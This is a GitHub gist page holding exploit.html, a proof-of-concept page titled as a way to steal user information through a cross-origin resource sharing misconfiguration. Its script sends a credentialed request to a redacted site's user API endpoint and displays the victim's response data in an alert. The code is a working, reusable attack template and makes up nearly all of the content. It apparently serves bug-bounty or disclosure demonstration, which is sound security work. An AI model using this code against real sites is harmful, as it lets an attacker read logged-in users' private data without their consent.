Skip to content

Instantly share code, notes, and snippets.

@devhug

devhug/exploit.html

Created August 7, 2021 18:04
Show Gist options
  • Save devhug/e1f0e3314a244ddb314b9f993ddf5554 to your computer and use it in GitHub Desktop.
Save devhug/e1f0e3314a244ddb314b9f993ddf5554 to your computer and use it in GitHub Desktop.
Download ZIP
Cross-origin resource sharing misconfig | steal user information
Raw
exploit.html
<html>
<script>
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://redacted.com/api/users/number',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); };
</script>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment